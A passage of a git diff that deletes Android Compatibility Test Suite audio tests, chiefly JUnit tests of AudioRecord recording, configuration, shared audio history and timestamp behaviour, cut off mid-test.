-                            .setBufferSizeInBytes(SAMPLING_RATE_HZ
-                                * AudioFormat.getBytesPerSample(AudioFormat.ENCODING_PCM_16BIT))
-                            .setMaxSharedAudioHistoryMillis(
-                                    AudioRecord.getMaxSharedAudioHistoryMillis() - 1)
-                            .build();
-            assertEquals(AudioRecord.STATE_INITIALIZED, record1.getState());
-
-            record1.startRecording();
-
-            final int RECORD1_NUM_SAMPLES = SAMPLING_RATE_HZ / 2;
-            short[] buffer1 = new short[RECORD1_NUM_SAMPLES];
-
-            // blocking read should allow for at least 500ms of audio in buffer
-            int samplesRead = record1.read(buffer1, 0, RECORD1_NUM_SAMPLES);
-            assertTrue(samplesRead >= RECORD1_NUM_SAMPLES);
-
-
-            final int RECORD2_START_TIME_MS = 100;
-            MediaSyncEvent event = record1.shareAudioHistory(
-                    InstrumentationRegistry.getTargetContext().getPackageName(),
-                    (long) RECORD2_START_TIME_MS /* startFromMillis */);
-            assertEquals(event.getAudioSessionId(), record1.getAudioSessionId());
-
-            record2 = new AudioRecord.Builder().setAudioFormat(new AudioFormat.Builder()
-                                .setSampleRate(SAMPLING_RATE_HZ)
-                                .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                                .setChannelMask(AudioFormat.CHANNEL_IN_MONO).build())
-                            .setBufferSizeInBytes(SAMPLING_RATE_HZ
-                                * AudioFormat.getBytesPerSample(AudioFormat.ENCODING_PCM_16BIT))
-                            .setSharedAudioEvent(event)
-                            .build();
-            assertEquals(AudioRecord.STATE_INITIALIZED, record2.getState());
-
-            record2.startRecording();
-
-            final int RECORD2_NUM_SAMPLES = SAMPLING_RATE_HZ / 5;
-            short[] buffer2 = new short[RECORD2_NUM_SAMPLES];
-
-            samplesRead = record2.read(buffer2, 0, RECORD2_NUM_SAMPLES);
-            assertTrue(samplesRead >= RECORD2_NUM_SAMPLES);
-
-            record2.stop();
-            record1.stop();
-
-
-            // verify that the audio read by 2nd AudioRecord exactly matches the audio read
-            // by 1st AudioRecord starting from the expected start time with a certain tolerance.
-            final int FIRST_EXPECTED_SAMPLE = RECORD2_START_TIME_MS * SAMPLING_RATE_HZ / 1000;
-            // NOTE: START_TIME_TOLERANCE_MS must always be smaller than RECORD2_START_TIME_MS
-            final int START_TIME_TOLERANCE_MS = 1;
-            final int START_SAMPLE_TOLERANCE = START_TIME_TOLERANCE_MS * SAMPLING_RATE_HZ / 1000;
-            // let time for a resampler to converge by skipping samples at the beginning of the
-            // record2 buffer before comparing to record1 buffer
-            final int RESAMPLER_CONVERGENCE_MS = 5;
-            final int RESAMPLER_CONVERGENCE_SAMPLE =
-                    RESAMPLER_CONVERGENCE_MS * SAMPLING_RATE_HZ / 1000;
-
-
-            boolean buffersMatch = false;
-            for (int i = -START_SAMPLE_TOLERANCE;
-                    i < START_SAMPLE_TOLERANCE && !buffersMatch; i++) {
-                int offset1 = i + FIRST_EXPECTED_SAMPLE;
-                if (offset1 < 0) {
-                    continue;
-                }
-                // unlikely: programming error
-                if (RECORD1_NUM_SAMPLES - offset1 < RECORD2_NUM_SAMPLES) {
-                    Log.w(TAG, "testCapturesMatch: " +
-                            "invalid buffer1 size/buffer2 size/start ms combination!");
-                    break;
-                }
-
-                buffersMatch = true;
-                for (int j = RESAMPLER_CONVERGENCE_SAMPLE; j < RECORD2_NUM_SAMPLES; j++) {
-                    if (buffer2[j] != buffer1[j + offset1]) {
-                         buffersMatch = false;
-                         break;
-                     }
-                }
-            }
-            assertTrue(buffersMatch);
-        } finally {
-            if (record1 != null) {
-                record1.release();
-            }
-            if (record2 != null) {
-                record2.release();
-            }
-        }
-    }
-
-    private boolean hasMicrophone() {
-        return InstrumentationRegistry.getTargetContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_MICROPHONE);
-    }
-
-    private void clearAudioserverPermissionCache() {
-        try {
-            SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
-                    "cmd media.audio_policy purge_permission-cache");
-        } catch (IOException e) {
-            fail("cannot purge audio server permission cache");
-        }
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordTest.java b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
deleted file mode 100644
index 4b14a31..0000000
--- a/tests/tests/media/src/android/media/cts/AudioRecordTest.java
+++ /dev/null
@@ -1,1734 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.testng.Assert.assertThrows;
-
-import android.app.ActivityManager;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioRecord;
-import android.media.AudioRecord.OnRecordPositionUpdateListener;
-import android.media.AudioRecordingConfiguration;
-import android.media.AudioSystem;
-import android.media.AudioTimestamp;
-import android.media.AudioTrack;
-import android.media.MediaRecorder;
-import android.media.MediaSyncEvent;
-import android.media.MicrophoneDirection;
-import android.media.MicrophoneInfo;
-import android.media.cts.AudioRecordingConfigurationTest.MyAudioRecordingCallback;
-import android.media.metrics.LogSessionId;
-import android.media.metrics.MediaMetricsManager;
-import android.media.metrics.RecordingSession;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.Message;
-import android.os.PersistableBundle;
-import android.os.Process;
-import android.os.SystemClock;
-import android.platform.test.annotations.Presubmit;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.IOException;
-import java.nio.ByteBuffer;
-import java.nio.ShortBuffer;
-import java.util.ArrayList;
-import java.util.concurrent.Executor;
-import java.util.List;
-
-
-@NonMediaMainlineTest
-@RunWith(AndroidJUnit4.class)
-public class AudioRecordTest {
-    private final static String TAG = "AudioRecordTest";
-    private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
-    private AudioRecord mAudioRecord;
-    private static final int SAMPLING_RATE_HZ = 44100;
-    private boolean mIsOnMarkerReachedCalled;
-    private boolean mIsOnPeriodicNotificationCalled;
-    private boolean mIsHandleMessageCalled;
-    private Looper mLooper;
-    // For doTest
-    private int mMarkerPeriodInFrames;
-    private int mMarkerPosition;
-    private Handler mHandler = new Handler(Looper.getMainLooper()) {
-        @Override
-        public void handleMessage(Message msg) {
-            mIsHandleMessageCalled = true;
-            super.handleMessage(msg);
-        }
-    };
-    private static final int RECORD_DURATION_MS = 500;
-    private static final int TEST_TIMING_TOLERANCE_MS = 70;
-
-    @Before
-    public void setUp() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-
-        /*
-         * InstrumentationTestRunner.onStart() calls Looper.prepare(), which creates a looper
-         * for the current thread. However, since we don't actually call loop() in the test,
-         * any messages queued with that looper will never be consumed. Therefore, we must
-         * create the instance in another thread, either without a looper, so the main looper is
-         * used, or with an active looper.
-         */
-        Thread t = new Thread() {
-            @Override
-            public void run() {
-                Looper.prepare();
-                mLooper = Looper.myLooper();
-                synchronized(this) {
-                    mAudioRecord = new AudioRecord.Builder()
-                                    .setAudioFormat(new AudioFormat.Builder()
-                                        .setSampleRate(SAMPLING_RATE_HZ)
-                                        .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                                        .setChannelMask(AudioFormat.CHANNEL_IN_MONO).build())
-                                    .setAudioSource(MediaRecorder.AudioSource.DEFAULT)
-                                    .setBufferSizeInBytes(
-                                        AudioRecord.getMinBufferSize(SAMPLING_RATE_HZ,
-                                              AudioFormat.CHANNEL_IN_MONO,
-                                              AudioFormat.ENCODING_PCM_16BIT) * 10)
-                                    .build();
-                    this.notify();
-                }
-                Looper.loop();
-            }
-        };
-        synchronized(t) {
-            t.start(); // will block until we wait
-            t.wait();
-        }
-        assertNotNull(mAudioRecord);
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        if (hasMicrophone()) {
-            mAudioRecord.release();
-            mLooper.quit();
-        }
-    }
-
-    private void reset() {
-        mIsOnMarkerReachedCalled = false;
-        mIsOnPeriodicNotificationCalled = false;
-        mIsHandleMessageCalled = false;
-    }
-
-    @Test
-    public void testAudioRecordProperties() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        assertEquals(AudioFormat.ENCODING_PCM_16BIT, mAudioRecord.getAudioFormat());
-        assertEquals(MediaRecorder.AudioSource.DEFAULT, mAudioRecord.getAudioSource());
-        assertEquals(1, mAudioRecord.getChannelCount());
-        assertEquals(AudioFormat.CHANNEL_IN_MONO,
-                mAudioRecord.getChannelConfiguration());
-        assertEquals(AudioRecord.STATE_INITIALIZED, mAudioRecord.getState());
-        assertEquals(SAMPLING_RATE_HZ, mAudioRecord.getSampleRate());
-        assertEquals(AudioRecord.RECORDSTATE_STOPPED, mAudioRecord.getRecordingState());
-
-        int bufferSize = AudioRecord.getMinBufferSize(SAMPLING_RATE_HZ,
-                AudioFormat.CHANNEL_CONFIGURATION_DEFAULT, AudioFormat.ENCODING_PCM_16BIT);
-        assertTrue(bufferSize > 0);
-    }
-
-    @Test
-    public void testAudioRecordOP() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        final int SLEEP_TIME = 10;
-        final int RECORD_TIME = 10000;
-        assertEquals(AudioRecord.STATE_INITIALIZED, mAudioRecord.getState());
-
-        int markerInFrames = mAudioRecord.getSampleRate() / 2;
-        assertEquals(AudioRecord.SUCCESS,
-                mAudioRecord.setNotificationMarkerPosition(markerInFrames));
-        assertEquals(markerInFrames, mAudioRecord.getNotificationMarkerPosition());
-        int periodInFrames = mAudioRecord.getSampleRate();
-        assertEquals(AudioRecord.SUCCESS,
-                mAudioRecord.setPositionNotificationPeriod(periodInFrames));
-        assertEquals(periodInFrames, mAudioRecord.getPositionNotificationPeriod());
-        OnRecordPositionUpdateListener listener = new OnRecordPositionUpdateListener() {
-
-            public void onMarkerReached(AudioRecord recorder) {
-                mIsOnMarkerReachedCalled = true;
-            }
-
-            public void onPeriodicNotification(AudioRecord recorder) {
-                mIsOnPeriodicNotificationCalled = true;
-            }
-        };
-        mAudioRecord.setRecordPositionUpdateListener(listener);
-
-        // use byte array as buffer
-        final int BUFFER_SIZE = 102400;
-        byte[] byteData = new byte[BUFFER_SIZE];
-        long time = System.currentTimeMillis();
-        mAudioRecord.startRecording();
-        assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
-        while (System.currentTimeMillis() - time < RECORD_TIME) {
-            Thread.sleep(SLEEP_TIME);
-            mAudioRecord.read(byteData, 0, BUFFER_SIZE);
-        }
-        mAudioRecord.stop();
-        assertEquals(AudioRecord.RECORDSTATE_STOPPED, mAudioRecord.getRecordingState());
-        assertTrue(mIsOnMarkerReachedCalled);
-        assertTrue(mIsOnPeriodicNotificationCalled);
-        reset();
-
-        // use short array as buffer
-        short[] shortData = new short[BUFFER_SIZE];
-        time = System.currentTimeMillis();
-        mAudioRecord.startRecording();
-        assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
-        while (System.currentTimeMillis() - time < RECORD_TIME) {
-            Thread.sleep(SLEEP_TIME);
-            mAudioRecord.read(shortData, 0, BUFFER_SIZE);
-        }
-        mAudioRecord.stop();
-        assertEquals(AudioRecord.RECORDSTATE_STOPPED, mAudioRecord.getRecordingState());
-        assertTrue(mIsOnMarkerReachedCalled);
-        assertTrue(mIsOnPeriodicNotificationCalled);
-        reset();
-
-        // use ByteBuffer as buffer
-        ByteBuffer byteBuffer = ByteBuffer.allocateDirect(BUFFER_SIZE);
-        time = System.currentTimeMillis();
-        mAudioRecord.startRecording();
-        assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
-        while (System.currentTimeMillis() - time < RECORD_TIME) {
-            Thread.sleep(SLEEP_TIME);
-            mAudioRecord.read(byteBuffer, BUFFER_SIZE);
-        }
-        mAudioRecord.stop();
-        assertEquals(AudioRecord.RECORDSTATE_STOPPED, mAudioRecord.getRecordingState());
-        assertTrue(mIsOnMarkerReachedCalled);
-        assertTrue(mIsOnPeriodicNotificationCalled);
-        reset();
-
-        // use handler
-        final Handler handler = new Handler(Looper.getMainLooper()) {
-            @Override
-            public void handleMessage(Message msg) {
-                mIsHandleMessageCalled = true;
-                super.handleMessage(msg);
-            }
-        };
-
-        mAudioRecord.setRecordPositionUpdateListener(listener, handler);
-        time = System.currentTimeMillis();
-        mAudioRecord.startRecording();
-        assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
-        while (System.currentTimeMillis() - time < RECORD_TIME) {
-            Thread.sleep(SLEEP_TIME);
-            mAudioRecord.read(byteData, 0, BUFFER_SIZE);
-        }
-        mAudioRecord.stop();
-        assertEquals(AudioRecord.RECORDSTATE_STOPPED, mAudioRecord.getRecordingState());
-        assertTrue(mIsOnMarkerReachedCalled);
-        assertTrue(mIsOnPeriodicNotificationCalled);
-        // The handler argument is only ever used for getting the associated Looper
-        assertFalse(mIsHandleMessageCalled);
-
-        mAudioRecord.release();
-        assertEquals(AudioRecord.STATE_UNINITIALIZED, mAudioRecord.getState());
-    }
-
-    @Test
-    public void testAudioRecordResamplerMono8Bit() throws Exception {
-        doTest("resampler_mono_8bit", true /*localRecord*/, false /*customHandler*/,
-                1 /*periodsPerSecond*/, 1 /*markerPeriodsPerSecond*/,
-                false /*useByteBuffer*/,  false /*blocking*/,
-                false /*auditRecording*/, false /*isChannelIndex*/, 88200 /*TEST_SR*/,
-                AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_8BIT);
-    }
-
-    @Test
-    public void testAudioRecordResamplerStereo8Bit() throws Exception {
-        doTest("resampler_stereo_8bit", true /*localRecord*/, false /*customHandler*/,
-                0 /*periodsPerSecond*/, 3 /*markerPeriodsPerSecond*/,
-                true /*useByteBuffer*/,  true /*blocking*/,
-                false /*auditRecording*/, false /*isChannelIndex*/, 45000 /*TEST_SR*/,
-                AudioFormat.CHANNEL_IN_STEREO, AudioFormat.ENCODING_PCM_8BIT);
-    }
-
-    @Presubmit
-    @Test
-    public void testAudioRecordLocalMono16BitShort() throws Exception {
-        doTest("local_mono_16bit_short", true /*localRecord*/, false /*customHandler*/,
-                30 /*periodsPerSecond*/, 2 /*markerPeriodsPerSecond*/,
-                false /*useByteBuffer*/, true /*blocking*/,
-                false /*auditRecording*/, false /*isChannelIndex*/, 8000 /*TEST_SR*/,
-                AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_16BIT, 500 /*TEST_TIME_MS*/);
-    }
-
-    @Test
-    public void testAudioRecordLocalMono16Bit() throws Exception {
-        doTest("local_mono_16bit", true /*localRecord*/, false /*customHandler*/,
-                30 /*periodsPerSecond*/, 2 /*markerPeriodsPerSecond*/,
-                false /*useByteBuffer*/, true /*blocking*/,
-                false /*auditRecording*/, false /*isChannelIndex*/, 8000 /*TEST_SR*/,
-                AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_16BIT);
-    }
-
-    @Test
-    public void testAudioRecordStereo16Bit() throws Exception {
-        doTest("stereo_16bit", false /*localRecord*/, false /*customHandler*/,
-                2 /*periodsPerSecond*/, 2 /*markerPeriodsPerSecond*/,
-                false /*useByteBuffer*/, false /*blocking*/,
-                false /*auditRecording*/, false /*isChannelIndex*/, 17000 /*TEST_SR*/,
-                AudioFormat.CHANNEL_IN_STEREO, AudioFormat.ENCODING_PCM_16BIT);
-    }
-
-    @Test
-    public void testAudioRecordMonoFloat() throws Exception {
-        doTest("mono_float", false /*localRecord*/, true /*customHandler*/,
-                30 /*periodsPerSecond*/, 2 /*markerPeriodsPerSecond*/,
-                false /*useByteBuffer*/, true /*blocking*/,
-                false /*auditRecording*/, false /*isChannelIndex*/, 32000 /*TEST_SR*/,
-                AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_FLOAT);
-    }
-
-    @Test
-    public void testAudioRecordLocalNonblockingStereoFloat() throws Exception {
-        doTest("local_nonblocking_stereo_float", true /*localRecord*/, true /*customHandler*/,
-                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
-                false /*useByteBuffer*/, false /*blocking*/,
-                false /*auditRecording*/, false /*isChannelIndex*/, 48000 /*TEST_SR*/,
-                AudioFormat.CHANNEL_IN_STEREO, AudioFormat.ENCODING_PCM_FLOAT);
-    }
-
-    // Audit modes work best with non-blocking mode
-    @Test
-    public void testAudioRecordAuditByteBufferResamplerStereoFloat() throws Exception {
-        if (isLowRamDevice()) {
-            return; // skip. FIXME: reenable when AF memory allocation is updated.
-        }
-        doTest("audit_byte_buffer_resampler_stereo_float",
-                false /*localRecord*/, true /*customHandler*/,
-                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
-                true /*useByteBuffer*/, false /*blocking*/,
-                true /*auditRecording*/, false /*isChannelIndex*/, 96000 /*TEST_SR*/,
-                AudioFormat.CHANNEL_IN_STEREO, AudioFormat.ENCODING_PCM_FLOAT);
-    }
-
-    @Test
-    public void testAudioRecordAuditChannelIndexMonoFloat() throws Exception {
-        doTest("audit_channel_index_mono_float", true /*localRecord*/, true /*customHandler*/,
-                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
-                false /*useByteBuffer*/, false /*blocking*/,
-                true /*auditRecording*/, true /*isChannelIndex*/, 47000 /*TEST_SR*/,
-                (1 << 0) /* 1 channel */, AudioFormat.ENCODING_PCM_FLOAT);
-    }
-
-    // Audit buffers can run out of space with high sample rate,
-    // so keep the channels and pcm encoding low
-    @Test
-    public void testAudioRecordAuditChannelIndex2() throws Exception {
-        if (isLowRamDevice()) {
-            return; // skip. FIXME: reenable when AF memory allocation is updated.
-        }
-        doTest("audit_channel_index_2", true /*localRecord*/, true /*customHandler*/,
-                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
-                false /*useByteBuffer*/, false /*blocking*/,
-                true /*auditRecording*/, true /*isChannelIndex*/, 192000 /*TEST_SR*/,
-                (1 << 0) | (1 << 2) /* 2 channels, gap in middle */,
-                AudioFormat.ENCODING_PCM_8BIT);
-    }
-
-    // Audit buffers can run out of space with high numbers of channels,
-    // so keep the sample rate low.
-    @Test
-    public void testAudioRecordAuditChannelIndex5() throws Exception {
-        doTest("audit_channel_index_5", true /*localRecord*/, true /*customHandler*/,
-                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
-                false /*useByteBuffer*/, false /*blocking*/,
-                true /*auditRecording*/, true /*isChannelIndex*/, 16000 /*TEST_SR*/,
-                (1 << 0) | (1 << 1) | (1 << 2) | (1 << 3) | (1 << 4)  /* 5 channels */,
-                AudioFormat.ENCODING_PCM_16BIT);
-    }
-
-    // Audit buffers can run out of space with high numbers of channels,
-    // so keep the sample rate low.
-    // This tests the maximum reported Mixed PCM channel capability
-    // for AudioRecord and AudioTrack.
-    @Test
-    public void testAudioRecordAuditChannelIndexMax() throws Exception {
-        // We skip this test for isLowRamDevice(s).
-        // Otherwise if the build reports a high PCM channel count capability,
-        // we expect this CTS test to work at 16kHz.
-        if (isLowRamDevice()) {
-            return; // skip. FIXME: reenable when AF memory allocation is updated.
-        }
-        final int maxChannels = AudioSystem.OUT_CHANNEL_COUNT_MAX; // FCC_LIMIT
-        doTest("audit_channel_index_max", true /*localRecord*/, true /*customHandler*/,
-                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
-                false /*useByteBuffer*/, false /*blocking*/,
-                true /*auditRecording*/, true /*isChannelIndex*/, 16000 /*TEST_SR*/,
-                (1 << maxChannels) - 1,
-                AudioFormat.ENCODING_PCM_16BIT);
-    }
-
-    // Audit buffers can run out of space with high numbers of channels,
-    // so keep the sample rate low.
-    @Test
-    public void testAudioRecordAuditChannelIndex3() throws Exception {
-        doTest("audit_channel_index_3", true /*localRecord*/, true /*customHandler*/,
-                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
-                true /*useByteBuffer*/, false /*blocking*/,
-                true /*auditRecording*/, true /*isChannelIndex*/, 16000 /*TEST_SR*/,
-                (1 << 0) | (1 << 1) | (1 << 2)  /* 3 channels */,
-                AudioFormat.ENCODING_PCM_24BIT_PACKED);
-    }
-
-    // Audit buffers can run out of space with high numbers of channels,
-    // so keep the sample rate low.
-    @Test
-    public void testAudioRecordAuditChannelIndex1() throws Exception {
-        doTest("audit_channel_index_1", true /*localRecord*/, true /*customHandler*/,
-                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
-                true /*useByteBuffer*/, false /*blocking*/,
-                true /*auditRecording*/, true /*isChannelIndex*/, 24000 /*TEST_SR*/,
-                (1 << 0)  /* 1 channels */,
-                AudioFormat.ENCODING_PCM_32BIT);
-    }
-
-    // Test AudioRecord.Builder to verify the observed configuration of an AudioRecord built with
-    // an empty Builder matches the documentation / expected values
-    @Test
-    public void testAudioRecordBuilderDefault() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        // constants for test
-        final String TEST_NAME = "testAudioRecordBuilderDefault";
-        // expected values below match the AudioRecord.Builder documentation
-        final int expectedCapturePreset = MediaRecorder.AudioSource.DEFAULT;
-        final int expectedChannel = AudioFormat.CHANNEL_IN_MONO;
-        final int expectedEncoding = AudioFormat.ENCODING_PCM_16BIT;
-        final int expectedState = AudioRecord.STATE_INITIALIZED;
-        // use builder with default values
-        final AudioRecord rec = new AudioRecord.Builder().build();
-        // save results
-        final int observedSource = rec.getAudioSource();
-        final int observedChannel = rec.getChannelConfiguration();
-        final int observedEncoding = rec.getAudioFormat();
-        final int observedState = rec.getState();
-        // release recorder before the test exits (either successfully or with an exception)
-        rec.release();
-        // compare results
-        assertEquals(TEST_NAME + ": default capture preset", expectedCapturePreset, observedSource);
-        assertEquals(TEST_NAME + ": default channel config", expectedChannel, observedChannel);
-        assertEquals(TEST_NAME + ": default encoding", expectedEncoding, observedEncoding);
-        assertEquals(TEST_NAME + ": state", expectedState, observedState);
-    }
-
-    // Test AudioRecord.Builder to verify the observed configuration of an AudioRecord built with
-    // an incomplete AudioFormat matches the documentation / expected values
-    @Test
-    public void testAudioRecordBuilderPartialFormat() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        // constants for test
-        final String TEST_NAME = "testAudioRecordBuilderPartialFormat";
-        final int expectedRate = 16000;
-        final int expectedState = AudioRecord.STATE_INITIALIZED;
-        // expected values below match the AudioRecord.Builder documentation
-        final int expectedChannel = AudioFormat.CHANNEL_IN_MONO;
-        final int expectedEncoding = AudioFormat.ENCODING_PCM_16BIT;
-        // use builder with a partial audio format
-        final AudioRecord rec = new AudioRecord.Builder()
-                .setAudioFormat(new AudioFormat.Builder().setSampleRate(expectedRate).build())
-                .build();
-        // save results
-        final int observedRate = rec.getSampleRate();
-        final int observedChannel = rec.getChannelConfiguration();
-        final int observedEncoding = rec.getAudioFormat();
-        final int observedState = rec.getState();
-        // release recorder before the test exits (either successfully or with an exception)
-        rec.release();
-        // compare results
-        assertEquals(TEST_NAME + ": configured rate", expectedRate, observedRate);
-        assertEquals(TEST_NAME + ": default channel config", expectedChannel, observedChannel);
-        assertEquals(TEST_NAME + ": default encoding", expectedEncoding, observedEncoding);
-        assertEquals(TEST_NAME + ": state", expectedState, observedState);
-    }
-
-    // Test AudioRecord.Builder to verify the observed configuration of an AudioRecord matches
-    // the parameters used in the builder
-    @Test
-    public void testAudioRecordBuilderParams() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        // constants for test
-        final String TEST_NAME = "testAudioRecordBuilderParams";
-        final int expectedRate = 8000;
-        final int expectedChannel = AudioFormat.CHANNEL_IN_MONO;
-        final int expectedChannelCount = 1;
-        final int expectedEncoding = AudioFormat.ENCODING_PCM_16BIT;
-        final int expectedSource = MediaRecorder.AudioSource.VOICE_COMMUNICATION;
-        final int expectedState = AudioRecord.STATE_INITIALIZED;
-        // use builder with expected parameters
-        final AudioRecord rec = new AudioRecord.Builder()
-                .setAudioFormat(new AudioFormat.Builder()
-                        .setSampleRate(expectedRate)
-                        .setChannelMask(expectedChannel)
-                        .setEncoding(expectedEncoding)
-                        .build())
-                .setAudioSource(expectedSource)
-                .build();
-        // save results
-        final int observedRate = rec.getSampleRate();
-        final int observedChannel = rec.getChannelConfiguration();
-        final int observedChannelCount = rec.getChannelCount();
-        final int observedEncoding = rec.getAudioFormat();
-        final int observedSource = rec.getAudioSource();
-        final int observedState = rec.getState();
-        // release recorder before the test exits (either successfully or with an exception)
-        rec.release();
-        // compare results
-        assertEquals(TEST_NAME + ": configured rate", expectedRate, observedRate);
-        assertEquals(TEST_NAME + ": configured channel config", expectedChannel, observedChannel);
-        assertEquals(TEST_NAME + ": configured encoding", expectedEncoding, observedEncoding);
-        assertEquals(TEST_NAME + ": implicit channel count", expectedChannelCount,
-                observedChannelCount);
-        assertEquals(TEST_NAME + ": configured source", expectedSource, observedSource);
-        assertEquals(TEST_NAME + ": state", expectedState, observedState);
-    }
-
-    // Test AudioRecord to ensure we can build after a failure.
-    @Test
-    public void testAudioRecordBufferSize() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        // constants for test
-        final String TEST_NAME = "testAudioRecordBufferSize";
-
-        // use builder with parameters that should fail
-        final int superBigBufferSize = 1 << 28;
-        try {
-            final AudioRecord record = new AudioRecord.Builder()
-                .setBufferSizeInBytes(superBigBufferSize)
-                .build();
-            record.release();
-            fail(TEST_NAME + ": should throw exception on failure");
-        } catch (UnsupportedOperationException e) {
-            ;
-        }
-
-        // we should be able to create again with minimum buffer size
-        final int verySmallBufferSize = 2 * 3 * 4; // frame size multiples
-        final AudioRecord record2 = new AudioRecord.Builder()
-                .setBufferSizeInBytes(verySmallBufferSize)
-                .build();
-
-        final int observedState2 = record2.getState();
-        final int observedBufferSize2 = record2.getBufferSizeInFrames();
-        record2.release();
-
-        // succeeds for minimum buffer size
-        assertEquals(TEST_NAME + ": state", AudioRecord.STATE_INITIALIZED, observedState2);
-        // should force the minimum size buffer which is > 0
-        assertTrue(TEST_NAME + ": buffer frame count", observedBufferSize2 > 0);
-    }
-
-    @Test
-    public void testTimestamp() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        final String TEST_NAME = "testTimestamp";
-        AudioRecord record = null;
-
-        try {
-            final int NANOS_PER_MILLISECOND = 1000000;
-            final long RECORD_TIME_MS = 2000;
-            final long RECORD_TIME_NS = RECORD_TIME_MS * NANOS_PER_MILLISECOND;
-            final int RECORD_ENCODING = AudioFormat.ENCODING_PCM_16BIT; // fixed at this time.
-            final int RECORD_CHANNEL_MASK = AudioFormat.CHANNEL_IN_STEREO;
-            final int RECORD_SAMPLE_RATE = 23456;  // requires resampling
-            record = new AudioRecord.Builder()
-                    .setAudioFormat(new AudioFormat.Builder()
-                            .setSampleRate(RECORD_SAMPLE_RATE)
-                            .setChannelMask(RECORD_CHANNEL_MASK)
-                            .setEncoding(RECORD_ENCODING)
-                            .build())
-                    .build();
-
-            // For our tests, we could set test duration by timed sleep or by # frames received.
-            // Since we don't know *exactly* when AudioRecord actually begins recording,
-            // we end the test by # frames read.
-            final int numChannels =
-                    AudioFormat.channelCountFromInChannelMask(RECORD_CHANNEL_MASK);
-            final int bytesPerSample = AudioFormat.getBytesPerSample(RECORD_ENCODING);
-            final int bytesPerFrame = numChannels * bytesPerSample;
-            // careful about integer overflow in the formula below:
-            final int targetFrames =
-                    (int)((long)RECORD_TIME_MS * RECORD_SAMPLE_RATE / 1000);
-            final int targetSamples = targetFrames * numChannels;
-            final int BUFFER_FRAMES = 512;
-            final int BUFFER_SAMPLES = BUFFER_FRAMES * numChannels;
-
-            final int tries = 2;
-            for (int i = 0; i < tries; ++i) {
-                final long trackStartTimeNs = System.nanoTime();
-                final long trackStartTimeBootNs = android.os.SystemClock.elapsedRealtimeNanos();
-
-                record.startRecording();
-
-                final AudioTimestamp ts = new AudioTimestamp();
-                int samplesRead = 0;
-                // For 16 bit data, use shorts
-                final short[] shortData = new short[BUFFER_SAMPLES];
-                final AudioHelper.TimestampVerifier tsVerifier =
-                        new AudioHelper.TimestampVerifier(TAG, RECORD_SAMPLE_RATE,
-                                0 /* startFrames */, isProAudioDevice());
-
-                while (samplesRead < targetSamples) {
-                    final int amount = samplesRead == 0 ? numChannels :
-                            Math.min(BUFFER_SAMPLES, targetSamples - samplesRead);
-                    final int ret = record.read(shortData, 0, amount);
-                    assertEquals("read incorrect amount", amount, ret);
-                    // timestamps follow a different path than data, so it is conceivable
-                    // that first data arrives before the first timestamp is ready.
-
-                    if (record.getTimestamp(ts, AudioTimestamp.TIMEBASE_MONOTONIC)
-                            == AudioRecord.SUCCESS) {
-                        tsVerifier.add(ts);
-                    }
-                    samplesRead += ret;
-                }
-                record.stop();
-
-                // stop is synchronous, but need not be in the future.
-                final long SLEEP_AFTER_STOP_FOR_INACTIVITY_MS = 1000;
